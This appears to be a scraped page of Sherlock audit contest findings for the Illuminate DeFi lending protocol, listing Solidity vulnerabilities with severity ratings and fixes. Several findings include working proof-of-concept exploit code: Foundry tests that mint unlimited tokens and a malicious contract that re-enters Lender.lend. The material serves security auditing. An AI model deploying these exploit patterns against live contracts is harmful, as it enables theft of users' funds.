2022-10-illuminate-judging's People
2022-10-illuminate-judging's Issues
windowhan_kalosec - batch function using delegatecall can abuse contract
windowhan_kalosec
low
batch function using delegatecall can abuse contract
Summary
batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.
Vulnerability Detail
similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L615-L627
(The same issue exists with Lender.sol)
Impact
Low.
payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous
Recommendation
remove batch function or remove payable keyword.
Bnke0x0 - sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying uses pool funds but pays msg.sender
Bnke0x0
medium
sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying uses pool funds but pays msg.sender
Summary
Vulnerability Detail
sellPrincipalToken, buyPrincipalToken, sellUnderlying, buyUnderlying are all unpermissioned and use marketplace funds to complete the action but send the resulting tokens to msg.sender. This means that any address can call these functions and steal the resulting funds.
Impact
Fund loss from the marketplace
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L285-L425
'function sellPrincipalToken(
address u,
uint256 m,
uint128 a,
uint128 s
) external returns (uint128) {
// Get the pool for the market
IPool pool = IPool(pools[u][m]);
// Preview amount of underlying received by selling `a` PTs
uint256 expected = pool.sellFYTokenPreview(a);
if (expected < s) {
revert Exception(16, expected, s, address(0), address(0));
}
// Transfer the principal tokens to the pool
Safe.transferFrom(
IERC20(address(pool.fyToken())),
msg.sender,
address(pool),
a
);
// Execute the swap
uint128 received = pool.sellFYToken(msg.sender, uint128(expected));
emit Swap(u, m, address(pool.fyToken()), u, received, a, msg.sender);
return received;
}
/// @notice buys the PT for the underlying via the pool
/// @notice determines how many underlying to sell by using the preview
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of PTs to be purchased
/// @param s slippage cap, maximum number of underlying that can be sold
/// @return uint128 amount of underlying sold
function buyPrincipalToken(
address u,
uint256 m,
uint128 a,
uint128 s
) external returns (uint128) {
// Get the pool for the market
IPool pool = IPool(pools[u][m]);
// Get the amount of base hypothetically required to purchase `a` PTs
uint128 expected = pool.buyFYTokenPreview(a);
// Verify that the amount needed does not exceed the slippage parameter
if (expected > s) {
revert Exception(16, expected, 0, address(0), address(0));
}
// Transfer the underlying tokens to the pool
Safe.transferFrom(
IERC20(pool.base()),
msg.sender,
address(pool),
expected
);
// Execute the swap to purchase `a` base tokens
uint128 spent = pool.buyFYToken(msg.sender, a, 0);
emit Swap(u, m, u, address(pool.fyToken()), a, spent, msg.sender);
return spent;
}
/// @notice sells the underlying for the PT via the pool
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of underlying to sell
/// @param s slippage cap, minimum number of PTs that must be received
/// @return uint128 amount of PT purchased
function sellUnderlying(
address u,
uint256 m,
uint128 a,
uint128 s
) external returns (uint128) {
// Get the pool for the market
IPool pool = IPool(pools[u][m]);
// Get the number of PTs received for selling `a` underlying tokens
uint128 expected = pool.sellBasePreview(a);
// Verify slippage does not exceed the one set by the user
if (expected < s) {
revert Exception(16, expected, 0, address(0), address(0));
}
// Transfer the underlying tokens to the pool
Safe.transferFrom(IERC20(pool.base()), msg.sender, address(pool), a);
// Execute the swap
uint128 received = pool.sellBase(msg.sender, expected);
emit Swap(u, m, u, address(pool.fyToken()), received, a, msg.sender);
return received;
}
/// @notice buys the underlying for the PT via the pool
/// @notice determines how many PTs to sell by using the preview
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of underlying to be purchased
/// @param s slippage cap, maximum number of PTs that can be sold
/// @return uint128 amount of PTs sold
function buyUnderlying(
address u,
uint256 m,
uint128 a,
uint128 s
) external returns (uint128) {
// Get the pool for the market
IPool pool = IPool(pools[u][m]);
// Get the amount of PTs hypothetically required to purchase `a` underlying
uint256 expected = pool.buyBasePreview(a);
// Verify that the amount needed does not exceed the slippage parameter
if (expected > s) {
revert Exception(16, expected, 0, address(0), address(0));
}
// Transfer the principal tokens to the pool
Safe.transferFrom(
IERC20(address(pool.fyToken())),
msg.sender,
address(pool),
expected
);
// Execute the swap to purchase `a` underlying tokens
uint128 spent = pool.buyBase(msg.sender, a, 0);
emit Swap(u, m, address(pool.fyToken()), u, a, spent, msg.sender);
return spent;
}
'
Tool used
Manual Review
Recommendation
All functions should use safetransfer to get funds from msg.sender not from marketplace
kenzo - Wrong slippage control in `ERC5095.mint` will make user get less tokens than deserved
kenzo
medium
Wrong slippage control in ERC5095.mint
will make user get less tokens than deserved
Summary
When a user is buying iPTs using ERC5095.mint
, mint
tells Marketplace
that the minimum amount out should be assets - (assets / 100)
instead of shares - (shares/ 100)
.
Vulnerability Detail
Since iPTs trade at a discount, the assets supplied will always be less than the shares bought.
By setting the slippage to use assets instead of shares, the user is "guaranteed" (by MEV bots) to get iPT equal to the amount of underlying assets he supplied. (Even a little less with the 1% slippage.)
But this negates the whole point of buying PTs, as he didn't get any market discount on them. He simply exchanged his underlying for less PTs (99%) which are also worth less in the market. He can either have them locked until maturity not earning any yield, or sell them at a loss.
Impact
User loses 1% of his underlying, and the rest is frozen until maturity or has to be sold for a loss.
This negates the whole point of interacting with Illuminate, as described above.
Code Snippet
Marketplace.sellUnderlying
takes the minimum amount of iPTs to be received as the 4th parameter:
/// @param s slippage cap, minimum number of PTs that must be received
function sellUnderlying(address u, uint256 m, uint128 a, uint128 s) external returns (uint128) {
But ERC5095
sends to Marketplace
the asset amount in the slippage control, instead of the shares amount (s
).
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
assets,
assets - (assets / 100)
);
Therefore the abovementioned discrepancy happens.
Tool used
Manual Review
Recommendation
The 4th parameter to sellUnderlying
should be changed to s - (s / 100)
.
Duplicate of #31
kenzo - Infinite minting is possible for markets who don't support all protocols
kenzo
high
Infinite minting is possible for markets who don't support all protocols
Summary
When a market does not support all of the lending protocols, an attacker can mint infinite amount of iPTs.
This is because Lender
does not check that the PT contract exists. So when an attacker calls mint
, Lender
will "transfer" PTs from the 0-address, without really checking for success, and then proceed to mint the attacker iPTs for free.
In fact, one could say that like K's Choice, the attacker would get Everything For Free.
Vulnerability Detail
Using Lender
's mint
function, the user can supply a protocol principal (eg. Notional's PTs) that Lender
will pull, and then mint to the user the equivalent amount of iPTs.
But not all protocols might be set in a certain market. (This can be evidenced by the setPrinicipal
function, which allows the admin to set a market at a later date. And also by the fact that evidently not all protocols have the same active markets.)
If a protocol is not set, it's principal token in Illuminate is the 0 address.
When Lender
tries to pull tokens from the user (using Safe
library), a call to the 0 address wouldn't revert, so Lender
would think that the transfer succeeded.
It will then proceed to mint to the user (attacker?) the corresponding amount of iPTs that the user supplied as parameter - even though in actuality the user hasn't sent any tokens.
Impact
A user can mint infinite (or arbitrary) amount of iPTs for free.
He can then proceed to dump them on the market and make their value 0, or redeem them later, or mint them just before a market matures - and then redeem them for the underlying, on the expense of other users.
Code Snippet
Lender
's mint
function takes any p
as input. It then tries to pull the tokens from the user using Safe
, and proceeds to mint the corresponding amount of iPTs.
function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
address principal = IMarketPlace(marketPlace).token(u, m, p);
Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
IERC5095(principalToken(u, m)).authMint(msg.sender, a);
emit Mint(p, u, m, a);
return true;
}
Safe.transferFrom
will return true if there was no return data:
// There was no return data.
result := 1
Therefore, Illuminate will think transferFrom
has succeeded and will proceed to mint the attacker the amount of tokens he supplied as parameter.
Proof of Concept
You can add the following test to fork/Lender.t.sol
to see that when a market is not set, an attacker can mint infinite amount of iPTs.
// Based on deployMarket but with empty Notional prinicipal
function deployMarketWithEmptyPrincipal(address u) internal {
l.setMarketPlace(address(mp));
// Create a market
address[8] memory contracts;
contracts[0] = Contracts.SWIVEL_TOKEN; // Swivel
contracts[1] = Contracts.YIELD_TOKEN; // Yield
contracts[2] = Contracts.ELEMENT_TOKEN; // Element
contracts[3] = Contracts.PENDLE_TOKEN; // Pendle
contracts[4] = Contracts.TEMPUS_TOKEN; // Tempus
contracts[5] = Contracts.SENSE_TOKEN; // Sense
contracts[6] = Contracts.APWINE_TOKEN; // APWine
contracts[7] = address(0); // Empty principal for Notional
mp.createMarket(
u,
maturity,
contracts,
'TEST-TOKEN',
'TEST',
Contracts.ELEMENT_VAULT,
Contracts.APWINE_ROUTER
);
}
function testInfiniteMintWithEmptyPrincipal() public {
deployMarketWithEmptyPrincipal(Contracts.USDC);
// Run cheats/approvals
runCheatcodes(Contracts.USDC);
uint256 wowMuchTokensBigAmount = type(uint256).max;
l.mint(uint8(8), Contracts.USDC, maturity, wowMuchTokensBigAmount);
address ipt = mp.markets(Contracts.USDC, maturity, 0);
assertEq(wowMuchTokensBigAmount, IERC20(ipt).balanceOf(msg.sender));
}
Tool used
Manual Review
Recommendation
In Lender
's mint
, do not allow minting if the PT is address 0 (= if the protocol is not set for this market.)
Duplicate of #238
windowhan_kalosec - batch function using delegatecall can abuse contract
windowhan_kalosec
low
batch function using delegatecall can abuse contract
Summary
batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.
Vulnerability Detail
similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.
(The same issue exists with Lender.sol)
Impact
payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L615-L627
Tool used
Manual Review
Recommendation
remove batch function or remove payable keyword.
windowhan_kalosec - ERC5095 approve front-running
windowhan_kalosec
medium
ERC5095 approve front-running
Summary
ERC5095 inherits from ERC20.
There is a front-running vulnerability for approve, which can cause problems when calling withdraw function later.
Vulnerability Detail
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L209-L277
When calling the withdraw function, you can withdraw the target user's token if it has already been approved as approve.
If the target user intended to approve only about 100 tokens to you, you can withdraw more than 100 tokens due to the approve function front running.
https://swcregistry.io/docs/SWC-114
In this above link, more detail explaination is exists.
Impact
Medium
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC20.sol#L85-L95
Tool used
Manual Review
Recommendation
remove approve function and add below code.
function _decreaseAllowance(address src, uint256 wad) external virtual override {
_decreaseAllowance(src, wad);
}
function _decreaseAllowance(address src, uint256 wad)
internal
virtual
returns (bool)
{
if (src != msg.sender) {
uint256 allowed = _allowance[src][msg.sender];
if (allowed != type(uint256).max) {
_setAllowance(src, msg.sender, allowed - wad);
}
}
return true;
}
function _addAllowance(address src, uint256 wad) internal virtual returns (bool) {
if (src != msg.sender) {
uint256 allowed = _allowance[src][msg.sender];
if (allowed != type(uint256).max) {
_setAllowance(src, msg.sender, allowed + wad);
}
}
return true;
}
function addAllowance(address src, uint256 wad) external virtual override {
_addAllowance(src, wad);
}
kenzo - Users might redeem their iPTs before Lender's PTs have been redeemed
kenzo
medium
Users might redeem their iPTs before Lender's PTs have been redeemed
Summary
If users redeem their iPTs before the individual protocols markets have been redeemed for underlying,
the users will lose their funds.
While you are probably aware of the issue, I think it is worth bringing up, as it is fixable and can lead to loss of user funds.
Vulnerability Detail
Redeemer
allows users to redeem their iPTs as soon as the iPT matures.
There is no guarantee that all the protocol PTs have been redeemed at that point.
As Redeemer sends to the user his pro rata shares of the underlying redeemed, if the underlying has not been redeemed, user will not get his underlying back.
While Illuminate can set the iPT maturity to be larger than the protocol PTs maturity, it has an interest to make this difference as small as possible, otherwise user tokens are locked without generating yield and without good reason.
Impact
If a user redeem his iPTs before protocol PTs have been redeemed, he will burn all his iPTs and get 0 underlying.
When afterwards markets are redeemed and other users redeem their PTs, they will get underlying that belongs to that previous user, thereby making recovery of funds "impossible".
Note that it is not trivial for users or contracts to check whether all markets have been redeemed.
Therefore they may accidently redeem prematurely and lose tokens.
As this kinda requires user error, I have rated this as Medium severity.
In my issue #8, I show how the autoRedeem
mechanism, combined with this current issue, allows stealing of user funds.
I believe that these issues are separate, as even if you hold that this (imo legitimate) current issue is a design choice and risk you're aware off, the other issue combines it with autoRedeem
to show how autoRedeem
puts funds at risk.
Code Snippet
When looking at the redeem
that redeems iPTs for underlying, we can see it just checks that the iPT matured, and then sends to the user his pro rata shares of the underlying redeemed.
function redeem(address u, uint256 m) external unpaused(u, m) {
IERC5095 token = IERC5095(IMarketPlace(marketPlace).token(u, m, uint8(MarketPlace.Principals.Illuminate)));
if (block.timestamp < token.maturity()) {
revert Exception(7, block.timestamp, m, address(0), address(0));
}
uint256 amount = token.balanceOf(msg.sender);
uint256 redeemed = (amount * holdings[u][m]) / token.totalSupply();
holdings[u][m] = holdings[u][m] - redeemed;
token.authBurn(msg.sender, amount);
Safe.transfer(IERC20(u), msg.sender, redeemed);
}
Therefore if user/contract quickly tries to redeem his iPTs, and protocol redeems have not yet been completed, user would not get his correct share of the underlying.
Tool used
Manual Review
Recommendation
Only allow redemptions if all the markets have been redeemed.
You can leave an emergencyRedeem
function that redeems regardless of this check.
You can also use the unpaused
modifier to block redemptions before all underlying has been redeemed, but that is a needlessly centralized approach.
So how I would do it is:
- Implement the fix to not allow minting matured PTs - detailed in my issue #2. This will enforce that when a market is redeemed, all the PTs are indeed being redeemed.
- When redeeming a market (u/m/p combination), set a "redeemed" boolean (or bitmap) signifying it.
- Add a function that checks whether all the prinicipals (p) that are set for a certain market (u/m) have been redeemed. If yes, it sets a boolean that shows that the u/m market have been redeemed. This function will need to be called after all the individual markets have been redeemed.
- Change the Illuminate redeem function (and also
authRedeem
andautoRedeem
) to only redeem if the u/m market redemption flag from previous step is true. - These steps should guarantee that a user/smart-contract can't accidently burn their iPTs before markets have been redeemed.
- Consider adding an
emergencyRedeem
function that will redeem the iPTs regardless of whether u/m has been redeemed.
Duplicate of #239
0xmuxyz - Any external users can mint any amount of the Illuminate principal tokens due to lack of validations on mint() function in the Lender.sol
0xmuxyz
high
Any external users can mint any amount of the Illuminate principal tokens due to lack of validations on mint() function in the Lender.sol
Summary
- Any external users can
mint
any amount of the Illuminate principal tokens due to lack of validations onmint()
function in the Lender.sol.
Vulnerability Detail
- Lack of validations on
mint()
function that allow any external users to be able to mint any amount of the Illuminate principal tokens (Illuminate's ERC5095 tokens).
Impact
- There is no validations such as
access control modifiers
onmint()
function in the Lender.sol.- As a result, any external users can mint any amount of the Illuminate principal tokens (Illuminate's ERC5095 tokens) directly via calling
mint()
function directly.- This lead to an exploit that give large fixed-rate positions to malicious attackers (attacker's wallet or attacker's contract) without lending proper amount of underlying tokens.
- As a result, any external users can mint any amount of the Illuminate principal tokens (Illuminate's ERC5095 tokens) directly via calling
Code Snippet (include PoC)
- This vulnerability is at the line of
mint()
function in the Lender.sol.- As we can see code snippet below, there is no validations such as access control modifiers on
mint()
function.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270-L288
- As we can see code snippet below, there is no validations such as access control modifiers on
function mint(
uint8 p,
address u,
uint256 m,
uint256 a
) external unpaused(u, m, p) returns (bool) {
// Fetch the desired principal token
address principal = IMarketPlace(marketPlace).token(u, m, p);
// Transfer the users principal tokens to the lender contract
Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
// Mint the tokens received from the user
IERC5095(principalToken(u, m)).authMint(msg.sender, a);
emit Mint(p, u, m, a);
return true;
}
↓
- PoC:https://github.com/sherlock-audit/2022-10-illuminate-masaun/tree/PoC_exploit_mint-method/test/exploit
(Code of test exploit ofmint()
method:https://github.com/sherlock-audit/2022-10-illuminate/blob/main/test/exploit/LenderExploit.t.sol#L151-L173 )
//@dev - This is a vulnerability that anyone can mint iPTs (the Illuminate Principal Tokens)
//@dev - Below is a PoC of exploit of Lender#mint()
function testExploit_mint() public {
//@dev - Create a EOA address of an attacker
address ATTACKER = makeAddr("attacker");
//@dev - Set the attacker's EOA address as a caller
vm.startPrank(ATTACKER);
//@dev - Mint iPTs to the attacker's EOA address
uint8 p = 1;
address u = underlying; // Mock underlying token (ERC20)
uint256 m = 1;
//uint256 a = 1; // Minted-amount is 1
uint256 a = type(uint256).max; // Minted-amount is max amount
bool resultOfMint = l.mint(p, u, m, a);
assertEq(resultOfMint, true);
vm.stopPrank();
//@dev - Check the result whether max amount of iPTs are minted to the attacker's EOA address or not
uint iptBalanceAfterExploit = ipt.mintCalled(ATTACKER);
console.log("iPT balance of the attacker's EOA address (after this exploit):", iptBalanceAfterExploit);
assertEq(iptBalanceAfterExploit, a);
}
↓
- Result of PoC above:
- At first, we can see that an attacker's EOA address
mint
max amount of iPTs. (= 115792089237316195423570985008687907853269984665640564039457584007913129639935) - Finally, we can confirm that the iPT balance of an attacker's EOA address after exploit is max amount of iPTs. (by using
IlluminatePrincipalToken#mintCalled()
method)
- At first, we can see that an attacker's EOA address
Tool used
- Manual Review in Foundry
Recommendation
- Should implement the Role-Based Access Control in order to mitigate this vulnerability.
- For example, using the Access Control module provided by @openzeppelin/contracts is better to manage access rights of each users.
- Using
onlyRole()
modifier andhasRole()
function of @openzeppelin/contracts are useful in order to check whether a caller (msg.sender) of mint() function is the caller who has proper role or not.
https://docs.openzeppelin.com/contracts/4.x/access-control#using-access-control
- Using
- For example, using the Access Control module provided by @openzeppelin/contracts is better to manage access rights of each users.
rvierdiiev - Lender.yield revert when amount recieved == minimum
rvierdiiev
medium
Lender.yield revert when amount recieved == minimum
Summary
Lender.yield
revert when amount recieved == minimum
Vulnerability Detail
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928-L957
function yield(
address u,
address y,
uint256 a,
address r,
address p,
uint256 m
) internal returns (uint256) {
// Get the starting balance (to verify receipt of tokens)
uint256 starting = IERC20(p).balanceOf(r);
// Get the amount of tokens received for swapping underlying
uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));
// Send the remaining amount to the Yield pool
Safe.transfer(IERC20(u), y, a);
// Lend out the remaining tokens in the Yield pool
IYield(y).sellBase(r, returned);
// Get the ending balance of principal tokens (must be at least starting + returned)
uint256 received = IERC20(p).balanceOf(r) - starting;
// Verify receipt of PTs from Yield Space Pool
if (received <= m) {
revert Exception(11, received, m, address(0), address(0));
}
return received;
}
The check for minimum allowed amount is incorrect.
// Verify receipt of PTs from Yield Space Pool
if (received <= m) {
revert Exception(11, received, m, address(0), address(0));
}
It should allow minimum amount.
Impact
When minimum amount provided by user is received, function reverts.
Code Snippet
Provided above.
Tool used
Manual Review
Recommendation
Change to this
// Verify receipt of PTs from Yield Space Pool
if (received < m) {
revert Exception(11, received, m, address(0), address(0));
}
Duplicate of #135
csanuragjain - Deposit/mint possible at maturity
csanuragjain
medium
Deposit/mint possible at maturity
Summary
As per comment on deposit and mint, revert should happen at maturity which wont happen since = check is missing
Vulnerability Detail
- Observe the deposit function
/// @notice Before maturity spends `assets` of underlying, and sends `shares` of PTs to `receiver`. Post or at maturity, reverts.
function deposit(address r, uint256 a) external override returns (uint256) {
if (block.timestamp > maturity) {
revert Exception(
21,
block.timestamp,
maturity,
address(0),
address(0)
);
}
...
}
- As per comments the revert should happen Post or at maturity but as per code this only happens post maturity and not at maturity
Impact
deposit and mint will happen at maturity even though it is not allowed as per comments
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L149
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L176
Tool used
Manual Review
Recommendation
Revise the condition as below:
if (block.timestamp >= maturity) {
revert Exception(
21,
block.timestamp,
maturity,
address(0),
address(0)
);
}
rvierdiiev - ERC5095.mint function calculates slippage incorrectly
rvierdiiev
high
ERC5095.mint function calculates slippage incorrectly
Summary
ERC5095.mint function calculates slippage incorrectly. This leads to lost of funds for user.
Vulnerability Detail
ERC5095.mint
function should take amount of shares that user wants to receive and then buy this amount. It uses hardcoded 1% slippage when trades base tokens for principal. But it takes 1% of calculated assets amount, not shares.
function mint(address r, uint256 s) external override returns (uint256) {
if (block.timestamp > maturity) {
revert Exception(
21,
block.timestamp,
maturity,
address(0),
address(0)
);
}
uint128 assets = Cast.u128(previewMint(s));
Safe.transferFrom(
IERC20(underlying),
msg.sender,
address(this),
assets
);
// consider the hardcoded slippage limit, 4626 compliance requires no minimum param.
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
assets,
assets - (assets / 100)
);
_transfer(address(this), r, returned);
return returned;
}
This is how slippage is provided
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
assets,
assets - (assets / 100)
);
But the problem is that assets it is amount of base tokens that user should pay for the shares he want to receive. Slippage should be calculated using shares amount user expect to get.
Example.
User calls mint and provides amount 1000. That means that he wants to get 1000 principal tokens. While converting to assets, assets = 990. That means that user should pay 990 base tokens to get 1000 principal tokens.
Then the sellUnderlying
is send and slippage provided is 990*0.99=980.1
. So when something happens with price it's possible that user will receive 980.1 principal tokens instead of 1000 which is 2% lost.
To fix this you should provide s - (s / 100)
as slippage.
Impact
Lost of users funds.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Use this.
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
assets,
s- (s / 100)
);
rvierdiiev - Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.
rvierdiiev
high
Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.
Summary
Redeemer.autoRedeem relies on base token allowance. This can be maliciously used.
Vulnerability Detail
As i disscussed with sponsor, Redeemer.autoRedeem
function can be triggered by any actor. This function will redeem iPT of users provided in the list and the msg.sender will get some fee(this fee is paid by user provided in the list, not protocol). To agree with such redeem user should provide allowance on base token to Redeemer
address for the amount more then iPT balance of user.
So if you have some iPT and you don't mind if someone will redeem then instead of you, then you should provide allowance to Redeemer with amount > then your iPT balance.
This is the main part of function that we need to look into
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L511-L525
uint256 allowance = uToken.allowance(f[i], address(this));
// Get the amount of tokens held by the owner
uint256 amount = pt.balanceOf(f[i]);
// Calculate how many tokens the user should receive
uint256 redeemed = (amount * holdings[u][m]) / pt.totalSupply();
// Calculate the fees to be received (currently .025%)
uint256 fee = redeemed / feenominator;
// Verify allowance
if (allowance < amount) {
revert Exception(20, allowance, amount, address(0), address(0));
}
Let's consider next situation.
User have 100 iPT with maturity 1.01.2023
and also user has 100 iPT with maturity 1.02.2023
. Both them use same base token.
On time > 1.02.2023 all tokens can be redeemed and user wants to allow to redeem with fee only 100 iPT with maturity 1.01.2023
. So he provides allowance in base token for Redeemer with amount 100.
He expects that only 100 iPT with maturity 1.01.2023
will be redeemed with fee.
But the problem is that autoRedeem
function do not care about maturity of iPT, it handles all iPT with different maturity same. You just need to have allowance in base token.
Now another actor can redeem both 100 iPT with maturity 1.01.2023
and 100 iPT with maturity 1.02.2023
tokens and get fee.
As you can see this mechanism do not protect user from redeeming all his tokens with fee.
Also another thing is that after the redeeming if user bought new iPS tokens with another maturity and amount <= allowance, then another actor again can redeem them after maturity as allowance is still there.
Impact
User lose on redemption fees. Users funds are converted without his contest.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Looks like you can't handle different maturity iPS in such way as they use same base token. Also allowance is always present till it will be deleted by user, but it's not convinient, he can forget.
Duplicate of #205
Bnke0x0 - Converter.sol .transfer is bad practice
Bnke0x0
high
Converter.sol .transfer is bad practice
Summary
Vulnerability Detail
Converter.sol .transfer is bad practice
Impact
Using .transfer to send ether is now considered bad practice as gas costs can change, breaking the code. See:https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/https://chainsecurity.com/istanbul-hardfork-eips-increasing-gas-costs-and-more/
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L48
'Safe.transfer(IERC20(u), msg.sender, unwrapped);'
Tool used
Manual Review
Recommendation
Use call instead, and make sure to check for reentrancy.
windowhan_kalosec - batch function using delegatecall can abuse contract
windowhan_kalosec
low
batch function using delegatecall can abuse contract
Summary
batch function using delegatecall can abuse contract because msg.value can be maintaining in numerable delegatecall.
Vulnerability Detail
similar vulnerability was already occured in real world.
https://blog.trailofbits.com/2021/12/16/detecting-miso-and-opyns-msg-value-reuse-vulnerability-with-slither/
numerable delegatecall in one payable function calling do not pay msg.value per delegatecall.
msg.value is paid only once, not multiple times.
// Marketplace.sol
// Lender.sol
function batch(bytes[] calldata c)
external
payable
returns (bytes[] memory results)
{
results = new bytes[](c.length);
for (uint256 i; i < c.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(
c[i]
);
if (!success) revert(RevertMsgExtractor.getRevertMsg(result));
results[i] = result;
}
}
Impact
Low.
payable function is not exists in Marketplace.sol yet.
if, project team add new payable function due to update, batch function is so dangerous
Recommendation
remove batch function or remove payable keyword.
rvierdiiev - Redeemer.autoRedeem and Redeemer.authRedeem can be called when paused
rvierdiiev
high
Redeemer.autoRedeem and Redeemer.authRedeem can be called when paused
Summary
Redeemer.autoRedeem
and Redeemer.authRedeem
can be called when paused
Vulnerability Detail
Function Redeemer.redeem
uses unpaused(u, m)
modifier to restrict access when market is paused.
This check is missed in both Redeemer.autoRedeem
and Redeemer.authRedeem
. They do not have such modifier, but should have.
Impact
Redeem can be called when market is paused.
Code Snippet
No code.
Tool used
Manual Review
Recommendation
Add modifier to the functions.
Duplicate of #113
Holmgren - Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender
Holmgren
high
Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender
Summary
Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender.
Vulnerability Detail
Several of the Lender.lend(...)
methods follow the following pattern:
- Calculate Lender's current balance of the Principal Token
- Call into a user-supplied address
- Calculate the new Lender's balance of the Principal Token
- Report difference between results from steps 3 and 1 as the amount of received Principal Tokens
- Issue a corresponding amount of Illuminate Principal Token to msg.sender
If in the step 2. the user-supplied address calls recursively into Lender.lend(...)
the amount of received Principal Tokens will be accounted for multiple times.
Most Lender.lend(...)
methods are vulnerable. Possible exceptions are those for Notional, Pendle and Tempus.
Impact
High - any user can manipulate Lender into minting and giving to the attacker arbitrary amount of Illuminate Principal Tokens.
Code Snippet
Patch adding a proof-of-concept test:
diff --git a/test/fork/AttackersContract.sol b/test/fork/AttackersContract.sol
new file mode 100644
index 0000000..818dd5b
--- /dev/null
+++ b/test/fork/AttackersContract.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.16;
+
+import 'src/interfaces/IYield.sol';
+import 'src/interfaces/IERC20.sol';
+import 'src/interfaces/ILender.sol';
+import 'src/Lender.sol';
+
+contract AttackersContract {
+ address pool;
+ address underlying;
+ uint256 maturity;
+ address owner;
+ address ipt;
+ constructor (address _pool, address _underlying, uint256 _maturity, address _ipt) {
+ pool = _pool;
+ underlying = _underlying;
+ maturity = _maturity;
+ owner = msg.sender;
+ ipt = _ipt;
+ }
+ // Basic IYield interface that Lender.lend(...) expects
+ function fyToken() external returns (address) {
+ return IYield(pool).fyToken();
+ }
+ // Basic IYield interface that Lender.lend(...) expects
+ function sellBasePreview(uint128 a) view external returns (uint128) {
+ return IYield(pool).sellBasePreview(a);
+ }
+ // This is where the magic happens
+ function sellBase(address r, uint128) external returns (uint128 result) {
+ IERC20(underlying).approve(r, type(uint256).max);
+ uint256 myBalance = IERC20(underlying).balanceOf(address(this));
+ // Re-enter Lener.lend(...), this time with the correct Yield Space Pool
+ result = uint128(Lender(r).lend(uint8(2),
+ underlying,
+ maturity,
+ myBalance,
+ pool,
+ myBalance));
+ // Transfer the Illuminate tokens to the attacker
+ IERC20(ipt).transfer(owner, IERC20(ipt).balanceOf(address(this)));
+ }
+
+}
\ No newline at end of file
diff --git a/test/fork/Lender.t.sol b/test/fork/Lender.t.sol
index 999aa2c..775859a 100644
--- a/test/fork/Lender.t.sol
+++ b/test/fork/Lender.t.sol
@@ -3,6 +3,7 @@ pragma solidity ^0.8.16;
import 'forge-std/Test.sol';
import 'test/fork/Contracts.sol';
+import 'test/fork/AttackersContract.sol';
import 'test/lib/Hash.sol';
import 'src/Lender.sol';
@@ -91,34 +92,37 @@ contract LenderTest is Test {
IERC20(u).approve(address(l), 2**256 - 1);
}
- function testYieldLend() public {
+ function testYieldLend_reentrancy_exploit() public {
// Set up the market
deployMarket(Contracts.USDC);
// Runs cheats/approvals
runCheatcodes(Contracts.USDC);
+ address ipt = mp.markets(Contracts.USDC, maturity, 0);
+ address poolContract = Contracts.YIELD_POOL_USDC;
+ // Attacker deploys a malicious contract that pretends to be a Yield Space Pool
+ // but actually it re-enters Lender.lend(...)
+ address attackersContract = address(new AttackersContract(poolContract,
+ Contracts.USDC,
+ maturity,
+ ipt));
// Execute the lend
l.lend(
uint8(2),
Contracts.USDC,
maturity,
amount,
- Contracts.YIELD_POOL_USDC,
+ attackersContract,
amount + 1
);
- // Get the amount that should be transferred (sellBasePreview)
- uint256 returned = IYield(Contracts.YIELD_POOL_USDC).sellBasePreview(
- Cast.u128(amount - amount / FEENOMINATOR)
- );
-
- // Make sure the principal tokens were transferred to the lender
- assertEq(returned, IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l)));
-
- // Make sure the user got the iPTs
